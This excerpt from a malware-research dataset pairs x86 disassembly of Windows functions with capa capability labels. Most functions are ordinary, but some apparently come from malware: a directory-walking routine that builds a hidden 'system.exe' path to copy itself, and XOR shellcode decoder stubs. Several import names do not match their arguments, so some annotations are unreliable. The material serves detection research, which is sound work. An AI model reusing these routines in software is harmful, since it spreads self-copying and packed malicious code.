joyce8/EMBER2024-capa huggingface dataset:
Function at 0x452280
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x698
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [0x10005058]
push 0x100050a8
lea edx, [ebp - 0x110]
push edx
call dword [0x10005014]
lea eax, [ebp - 0x250]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [0x10005038]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x4522ce
jmp 0x45251e
cmp dword [ebp - 0x250], 0x10
jne 0x452339
movsx edx, byte [ebp - 0x224]
cmp edx, 0x2e
je 0x452339
mov byte [ebp - 0x254], 0x5c
mov byte [ebp - 0x253], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x360]
push ecx
call dword [0x10005058]
lea edx, [ebp - 0x254]
push edx
lea eax, [ebp - 0x360]
push eax
call dword [0x10005014]
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp - 0x360]
push edx
call dword [0x10005014]
lea eax, [ebp - 0x360]
push eax
call fcn.00452280
add esp, 4
push 0x100050b0
lea ecx, [ebp - 0x224]
push ecx
call fcn.00451a10
add esp, 8
test eax, eax
je 0x4523bf
lea edx, [ebp - 0x224]
push edx
call dword [0x10005004]
movsx eax, byte [ebp + eax - 0x225]
cmp eax, 0x74
jne 0x4523bf
mov byte [ebp - 0x46c], 0x5c
mov byte [ebp - 0x46b], 0
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x468]
push edx
call dword [0x10005058]
lea eax, [ebp - 0x46c]
push eax
lea ecx, [ebp - 0x468]
push ecx
call dword [0x10005014]
lea edx, [ebp - 0x224]
push edx
lea eax, [ebp - 0x468]
push eax
call dword [0x10005014]
lea ecx, [ebp - 0x468]
push ecx
call dword [0x10005054]
push 0x100050b8
lea edx, [ebp - 0x224]
push edx
call fcn.00451a10
add esp, 8
test eax, eax
je 0x4524fb
lea eax, [ebp - 0x224]
push eax
call dword [0x10005004]
movsx ecx, byte [ebp + eax - 0x225]
cmp ecx, 0x65
jne 0x4524fb
mov byte [ebp - 0x57c], 0x5c
mov byte [ebp - 0x57b], 0
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x578]
push eax
call dword [0x10005058]
lea ecx, [ebp - 0x57c]
push ecx
lea edx, [ebp - 0x578]
push edx
call dword [0x10005014]
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x578]
push ecx
call dword [0x10005014]
push 0
lea edx, [ebp - 0x578]
push edx
call fcn.00451a70
add esp, 8
movzx eax, al
test eax, eax
je 0x4524fb
push 0x104
lea ecx, [ebp - 0x698]
push ecx
call dword [0x10005010]
mov byte [ebp - 0x58c], 0x5c
mov byte [ebp - 0x58b], 0x5c
mov byte [ebp - 0x58a], 0x73
mov byte [ebp - 0x589], 0x79
mov byte [ebp - 0x588], 0x73
mov byte [ebp - 0x587], 0x74
mov byte [ebp - 0x586], 0x65
mov byte [ebp - 0x585], 0x6d
mov byte [ebp - 0x584], 0x2e
mov byte [ebp - 0x583], 0x65
mov byte [ebp - 0x582], 0x78
mov byte [ebp - 0x581], 0x65
mov byte [ebp - 0x580], 0
lea edx, [ebp - 0x58c]
push edx
lea eax, [ebp - 0x698]
push eax
call dword [0x10005014]
lea ecx, [ebp - 0x698]
push ecx
lea edx, [ebp - 0x578]
push edx
call fcn.00451a70
add esp, 8
push 0x64
call dword [0x10005064]
lea eax, [ebp - 0x250]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [0x1000504c]
test eax, eax
jne 0x4522ce
mov edx, dword [ebp - 4]
push edx
call dword [0x10005044]
mov esp, ebp
pop ebp
ret
Function at 0x406922
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x406961
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x406961
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x406961
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x406961
cmp dword [ecx + 0x74], 0xe
jbe 0x406961
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40c383
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40c420
push ebx
push esi
call fcn.0040c34c
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040c2e0
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40c3cd
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40c41f
push edi
push eax
call fcn.0040cfa0
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40c3ed
call fcn.0040ae41
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40c41e
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040c2e0
add esp, 0x20
test eax, eax
jne 0x40c40c
push edi
call fcn.0040ae41
jmp 0x40c414
push ebx
call fcn.0040ae41
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x40d71d
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x441130
push 0x441128
push str.FlsAlloc
push 0x1f
call fcn.0040d5dc
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d751
push dword [ebp + 8]
mov ecx, esi
call dword [0x42114c]
call esi
jmp 0x40d757
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40d79b
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x441140
push 0x441138
push str.FlsGetValue
push 0x21
call fcn.0040d5dc
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d7d2
push dword [ebp + 8]
mov ecx, esi
call dword [0x42114c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40d7da
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x441148
push 0x441140
push str.FlsSetValue
push 0x22
call fcn.0040d5dc
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d814
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x42114c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x412c70
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x412c9d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x412c9d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x2d817083
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x30
mov eax, 0x2d8e2e01
call fcn.2d805d6a
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x30]
push eax
push str.SoftwareMicrosoftInternet_Explorer
xor ebx, ebx
push 0x80000002
mov dword [ebp - 0x30], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x2d8170b6
xor al, al
jmp 0x2d81717e
push ebx
mov byte [ebp - 0x2c], bl
lea ecx, [ebp - 0x28]
push dword [ebp - 0x2c]
xor eax, eax
mov dword [ebp - 0x18], ebx
push 0x100
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.2d8cf081
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x38]
xor edi, edi
mov dword [ebp - 0x38], eax
inc edi
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push ecx
cmovae eax, dword [ebp - 0x28]
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], edi
push eax
push ebx
push str.Version
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
sete bl
test eax, eax
jne 0x2d81712f
lea eax, [ebp - 0x28]
cmp esi, eax
je 0x2d81712f
cmp dword [ebp - 0x14], 8
mov ecx, esi
push dword [ebp - 0x18]
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.2d8cf081
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x2d81717c
mov ecx, dword [ebp - 0x28]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 4], edi
cmp eax, 0x1000
jb 0x2d817173
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.2d8cf081
mov eax, dword [ebp - 0x34]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x2c]
push eax
push ecx
call fcn.2d8cf081
pop ecx
pop ecx
mov al, bl
call fcn.2d807648
ret
Function at 0x2d8357c4
Capabilities:
Get disk information

Disassembly:
push 0x3c
mov eax, 0x2d8e5ab1
call fcn.2d805d6a
mov esi, dword [ebp + 8]
xor ebx, ebx
push esi
call fcn.2d8cf081
pop ecx
test al, al
je 0x2d83591e
lea eax, [ebp - 0x44]
push eax
push ebx
push esi
call fcn.2d8354bd
add esp, 0xc
test eax, eax
jne 0x2d835926
push dword [ebp - 0x44]
push 1
call fcn.2d8cf081
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x2d835926
lea eax, [ebp - 0x44]
push eax
push edi
push esi
call fcn.2d8354bd
add esp, 0xc
test eax, eax
jne 0x2d835926
mov byte [edi + 3], bl
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
push edi
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], bl
call fcn.2d82c3ac
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.2d8361de
mov eax, dword [ebp - 0x2c]
mov byte [ebp - 4], bl
pop ecx
pop ecx
cmp eax, 0x10
jb 0x2d8358a4
mov ecx, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
mov byte [ebp - 4], 2
cmp eax, 0x1000
jb 0x2d835898
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.2d8cf081
mov eax, dword [ebp - 0x44]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x48]
push eax
push ecx
call fcn.2d8cf081
pop ecx
pop ecx
mov byte [ebp - 4], bl
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.kernel32.dll_GetDriveTypeW]
cmp eax, 2
je 0x2d8358c0
cmp eax, 5
jne 0x2d8358c2
mov bl, 1
mov eax, dword [0x2d96a8d4]
push edi
mov esi, dword [eax + 0xc]
mov ecx, esi
call dword [0x2d8fb384]
call esi
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
pop ecx
cmp eax, 8
jb 0x2d83591e
mov ecx, dword [ebp - 0x28]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 4], 3
cmp eax, 0x1000
jb 0x2d835915
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.2d8cf081
mov eax, dword [ebp - 0x48]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x44]
push eax
push ecx
call fcn.2d8cf081
pop ecx
pop ecx
mov al, bl
call fcn.2d807648
ret
xor al, al
jmp 0x2d835920
Function at 0x2d8cf081
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x2d8cf090
pop dword [ebp - 0x4c]
mov eax, 0x72ec164d
sub eax, 0x455f25bd
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x6b9f0f7
sub dword [ebp - 0x5c], 0xb867abac
mov dword [ebp - 0x58], 0x95f88cb5
sub dword [ebp - 0x58], 0x63c54070
mov dword [ebp - 0x54], 0x7a48a250
sub dword [ebp - 0x54], 0x2dfc5e22
mov dword [ebp - 0x50], 0x14dba6f5
add dword [ebp - 0x50], 0xeb24590b
lea eax, [ebp - 0x5c]
push eax
mov eax, 0xd7720277
add eax, 0x561dae11
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x568946fd
add dword [ebp - 0x5c], 0x1de92259
mov dword [ebp - 0x58], 0x45bc0399
sub dword [ebp - 0x58], 0x44fa224
mov dword [ebp - 0x54], 0x49360676
add dword [ebp - 0x54], 0x1a3965f6
mov dword [ebp - 0x50], 0x77858a48
add dword [ebp - 0x50], 0x887a75b8
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x6d1f4
push 0
call eax
mov ecx, 0x5f581206
add ecx, 0xa0a83d12
xor esi, esi
add esi, eax
mov edx, 0xd198bf2e
add edx, 0x5c0220d2
add edx, dword [ebp - 0x4c]
mov ebx, 0xccd6f13f
mov edi, dword [edx]
sub dword [ebp - 0x20], edx
add edi, ebx
mov dword [ebp - 0x34], 0xee6ab161
mov dword [esi], edi
xor dword [ebp - 0x40], ecx
add esi, 4
add edx, 0x649c067d
sub edx, 0x649c0679
loop 0x2d8cf1a9
add eax, 0x12f33
mov ebx, eax
add eax, 0x55280d
add eax, 0xffaad7f8
mov ecx, 0x17e8d7f3
add ecx, 0x1597280d
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0xf03c7c
Capabilities:
Encode data using xor

Disassembly:
jmp 0xf03c86
pushal
call 0xf03c8c
pop ebp
sub ebp, 0x10
sub ebp, 0xb03c7c
jmp 0xf03ca2
mov eax, 0xb03c7c
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b8
mov edx, 0xe5230e6f
xor byte [eax], dl
inc eax
dec ecx
jne 0xf03cb9
jmp 0xf03ccc
in al, 0xa2
in al, 0xe6
push ebx
outsd dx, dword [esi]
outsd dx, dword [esi]
outsd dx, dword [esi]
out dx, al
scasb al, byte es:[edi]
xchg edi, eax
outsd dx, dword [esi]
outsd dx, dword [esi]
outsd dx, dword [esi]
insb byte es:[edi], dx
mov byte [0x6f6f69d7], al
outsd dx, dword [esi]
aad 0x47
outsd dx, dword [esi]
outsd dx, dword [esi]
outsd dx, dword [esi]
cwde
lea ebp, [edi - 0x1c]
out dx, al
arpl word [edi + 0x6f], bp
outsd dx, dword [esi]
insb byte es:[edi], dx
stosb byte es:[edi], al
loop 0xf03cff
dec ebx
xchg ebx, eax
out 0x6b, al
dec ebx
loop 0xf03d06
dec ebx
xchg ebx, eax
out 0x6b, al
dec ebx
pop es
rcl dword [edi + 0x4d], cl
outsd dx, dword [esi]
pop es
shr byte [ecx + 0x6f], 1
outsb dx, byte [esi]
inc ebx
dec ebx
pop es
invalid
Function at 0x401390
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
cmp esi, 0x100000
jge 0x4013a6
mov esi, 0x100000
jmp 0x4013b2
add esi, 0xffff
and esi, 0xffff0000
mov dword [ebx + 4], esi
push 1
push 0x2000
push esi
push 0
call sub.KERNEL32.DLL_WriteFile
mov edi, eax
mov dword [ebx], edi
test edi, edi
je 0x4013ef
mov edx, ebx
mov eax, 0x40b5e4
call fcn.00401244
test al, al
jne 0x4013ef
push 0x8000
push 0
mov eax, dword [ebx]
push eax
call sub.KERNEL32.DLL_GetModuleHandleA
xor eax, eax
mov dword [ebx], eax
pop edi
pop esi
pop ebx
ret

Function at 0x4013f4
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebx, ecx
mov esi, edx
mov ebp, eax
mov dword [ebx + 4], 0x100000
push 4
push 0x2000
push 0x100000
push ebp
call sub.KERNEL32.DLL_WriteFile
mov edi, eax
mov dword [ebx], edi
test edi, edi
jne 0x40143e
add esi, 0xffff
and esi, 0xffff0000
mov dword [ebx + 4], esi
push 4
push 0x2000
push esi
push ebp
call sub.KERNEL32.DLL_WriteFile
mov dword [ebx], eax
cmp dword [ebx], 0
je 0x401466
mov edx, ebx
mov eax, 0x40b5e4
call fcn.00401244
test al, al
jne 0x401466
push 0x8000
push 0
mov eax, dword [ebx]
push eax
call sub.KERNEL32.DLL_GetModuleHandleA
xor eax, eax
mov dword [ebx], eax
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x401524
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff4
mov dword [esp + 4], ecx
mov dword [esp], edx
mov edx, eax
mov ebp, edx
and ebp, 0xfffff000
add edx, dword [esp]
add edx, 0xfff
and edx, 0xfffff000
mov dword [esp + 8], edx
mov eax, dword [esp + 4]
mov dword [eax], ebp
mov eax, dword [esp + 8]
sub eax, ebp
mov edx, dword [esp + 4]
mov dword [edx + 4], eax
mov esi, dword [0x40b5e4]
jmp 0x4015a6
mov ebx, dword [esi + 8]
mov edi, dword [esi + 0xc]
add edi, ebx
cmp ebp, ebx
jbe 0x401578
mov ebx, ebp
cmp edi, dword [esp + 8]
jbe 0x401582
mov edi, dword [esp + 8]
cmp edi, ebx
jbe 0x4015a4
push 4
push 0x1000
sub edi, ebx
push edi
push ebx
call sub.KERNEL32.DLL_WriteFile
test eax, eax
jne 0x4015a4
mov eax, dword [esp + 4]
xor edx, edx
mov dword [eax], edx
jmp 0x4015ae
mov esi, dword [esi]
cmp esi, 0x40b5e4
jne 0x40156a
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x40193c
Capabilities:
Create process on windows
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ebx
cmp byte [0x40b5bc], 0
je 0x401a19
xor edx, edx
push ebp
push 0x401a12
push dword fs:[edx]
mov dword fs:[edx], esp
cmp byte [0x40b045], 0
je 0x40196e
push 0x40b5c4
call sub.KERNEL32.DLL_TlsGetValue
mov byte [0x40b5bc], 0
mov eax, dword [0x40b61c]
push eax
call sub.KERNEL32.DLL_WinExec
xor eax, eax
mov dword [0x40b61c], eax
mov ebx, dword [0x40b5e4]
jmp 0x4019a1
push 0x8000
push 0
mov eax, dword [ebx + 8]
push eax
call sub.KERNEL32.DLL_GetModuleHandleA
mov ebx, dword [ebx]
cmp ebx, 0x40b5e4
jne 0x40198f
mov eax, 0x40b5e4
call fcn.0040123c
mov eax, 0x40b5f4
call fcn.0040123c
mov eax, 0x40b620
call fcn.0040123c
mov eax, dword [0x40b5dc]
test eax, eax
je 0x4019e7
mov edx, dword [eax]
mov dword [0x40b5dc], edx
push eax
call sub.KERNEL32.DLL_WinExec
mov eax, dword [0x40b5dc]
test eax, eax
jne 0x4019d0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x401a19
cmp byte [0x40b045], 0
je 0x401a07
push 0x40b5c4
call sub.KERNEL32.DLL_TlsSetValue
push 0x40b5c4
call sub.KERNEL32.DLL_Sleep
ret
pop ebx
pop ebp
ret
Function at 0x401f64
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov ebx, eax
cmp byte [0x40b5bc], 0
jne 0x401f81
call fcn.00401878
test al, al
je 0x401f89
cmp ebx, 0x7ffffff8
jle 0x401f93
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x4020e7
xor ecx, ecx
push ebp
push 0x4020e0
push dword fs:[ecx]
mov dword fs:[ecx], esp
cmp byte [0x40b045], 0
je 0x401fb4
push 0x40b5c4
call sub.KERNEL32.DLL_TlsGetValue
add ebx, 7
and ebx, 0xfffffffc
cmp ebx, 0xc
jge 0x401fc4
mov ebx, 0xc
cmp ebx, 0x1000
jg 0x402063
mov eax, ebx
test eax, eax
jns 0x401fd9
add eax, 3
sar eax, 2
mov edx, dword [0x40b61c]
mov edx, dword [edx + eax*4 - 0xc]
test edx, edx
je 0x402063
mov esi, edx
mov eax, esi
add eax, ebx
and dword [eax], 0xfffffffe
mov eax, dword [edx + 4]
cmp edx, eax
jne 0x402014
mov eax, ebx
test eax, eax
jns 0x402003
add eax, 3
sar eax, 2
mov ecx, dword [0x40b61c]
xor edi, edi
mov dword [ecx + eax*4 - 0xc], edi
jmp 0x40203a
mov ecx, ebx
test ecx, ecx
jns 0x40201d
add ecx, 3
sar ecx, 2
mov edi, dword [0x40b61c]
mov dword [edi + ecx*4 - 0xc], eax
mov ecx, dword [edx]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 8]
mov dword [ecx + 4], eax
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov eax, esi
mov edx, dword [edx + 8]
or edx, 2
mov dword [eax], edx
add eax, 4
mov dword [ebp - 4], eax
inc dword [0x40b5ac]
sub ebx, 4
add dword [0x40b5b0], ebx
call fcn.004039a8
jmp 0x4020e7
cmp ebx, dword [0x40b614]
jg 0x4020b5
sub dword [0x40b614], ebx
cmp dword [0x40b614], 0xc
jge 0x402087
add ebx, dword [0x40b614]
xor eax, eax
mov dword [0x40b614], eax
mov eax, dword [0x40b618]
add dword [0x40b618], ebx
mov edx, ebx
or edx, 2
mov dword [eax], edx
add eax, 4
mov dword [ebp - 4], eax
inc dword [0x40b5ac]
sub ebx, 4
add dword [0x40b5b0], ebx
call fcn.004039a8
jmp 0x4020e7
mov eax, ebx
call fcn.00401e70
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4020e7
cmp byte [0x40b045], 0
je 0x4020df
push 0x40b5c4
call sub.KERNEL32.DLL_TlsSetValue
ret
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x4020f4
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
mov dword [0x40b5c0], eax
cmp byte [0x40b5bc], 0
jne 0x40212c
call fcn.00401878
test al, al
jne 0x40212c
mov dword [0x40b5c0], 8
mov dword [ebp - 4], 8
jmp 0x40228d
xor ecx, ecx
push ebp
push 0x402286
push dword fs:[ecx]
mov dword fs:[ecx], esp
cmp byte [0x40b045], 0
je 0x40214d
push 0x40b5c4
call sub.KERNEL32.DLL_TlsGetValue
mov esi, ebx
sub esi, 4
mov ebx, dword [esi]
test bl, 2
jne 0x402168
mov dword [0x40b5c0], 9
jmp 0x40225d
dec dword [0x40b5ac]
mov eax, ebx
and eax, 0x7ffffffc
sub eax, 4
sub dword [0x40b5b0], eax
test bl, 1
je 0x4021c8
mov eax, esi
sub eax, 0xc
mov edx, dword [eax + 8]
cmp edx, 0xc
jl 0x402198
test edx, 0x80000003
je 0x4021a7
mov dword [0x40b5c0], 0xa
jmp 0x40225d
mov eax, esi
sub eax, edx
cmp edx, dword [eax + 8]
je 0x4021bf
mov dword [0x40b5c0], 0xa
jmp 0x40225d
add ebx, edx
mov esi, eax
call fcn.00401a1c
and ebx, 0x7ffffffc
mov eax, esi
add eax, ebx
mov edi, eax
cmp edi, dword [0x40b618]
jne 0x402208
sub dword [0x40b618], ebx
add dword [0x40b614], ebx
cmp dword [0x40b614], 0x3c00
jle 0x4021f9
call fcn.00401d0c
xor eax, eax
mov dword [ebp - 4], eax
call fcn.004039a8
jmp 0x40228d
mov edx, dword [eax]
test dl, 2
je 0x40222b
and edx, 0x7ffffffc
cmp edx, 4
jge 0x402226
mov dword [0x40b5c0], 0xb
jmp 0x40225d
or dword [eax], 1
jmp 0x402254
mov eax, edi
cmp dword [eax + 4], 0
je 0x40223e
cmp dword [eax], 0
je 0x40223e
cmp dword [eax + 8], 0xc
jge 0x40224a
mov dword [0x40b5c0], 0xb
jmp 0x40225d
mov edx, dword [eax + 8]
add ebx, edx
call fcn.00401a1c
mov edx, ebx
mov eax, esi
call fcn.00401c84
mov eax, dword [0x40b5c0]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40228d
cmp byte [0x40b045], 0
je 0x402285
push 0x40b5c4
call sub.KERNEL32.DLL_TlsSetValue
ret
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x4027a8
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00403e9c
test esi, esi
jne 0x4027de
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.KERNEL32.DLL_GetLocaleInfoA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00403f8c
jmp 0x4027fc
call sub.KERNEL32.DLL_GetACP
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004026bc
mov edi, eax
test esi, esi
je 0x4027fc
cmp dword [ebx], 0
je 0x4027fc
dec esi
jmp 0x4027e5
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402c10
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x40a008], 0x8088405
inc edx
mov dword [ebx + 0x40a008], edx
mul edx
mov eax, edx
pop ebx
ret
Function at 0x4033dc
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x40a018]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403474
push 0x80000002
call sub.KERNEL32.DLL_GetLastError
test eax, eax
jne 0x403454
xor eax, eax
push ebp
push 0x40344d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403490
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_GetStartupInfoA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403454
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_GetCommandLineA
ret
mov ax, word [0x40a018]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x40a018], ax
mov esp, ebp
pop ebp
ret

Function at 0x40452c
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
add esp, 0xfffffef8
mov ebx, eax
cmp dword [ebx + 0x10], 0
jne 0x404567
push 0x105
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 4]
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
mov eax, esp
mov dl, 1
call fcn.00404768
mov esi, eax
mov dword [ebx + 0x10], esi
test esi, esi
jne 0x404567
mov eax, dword [ebx + 4]
mov dword [ebx + 0x10], eax
mov eax, dword [ebx + 0x10]
add esp, 0x108
pop esi
pop ebx
ret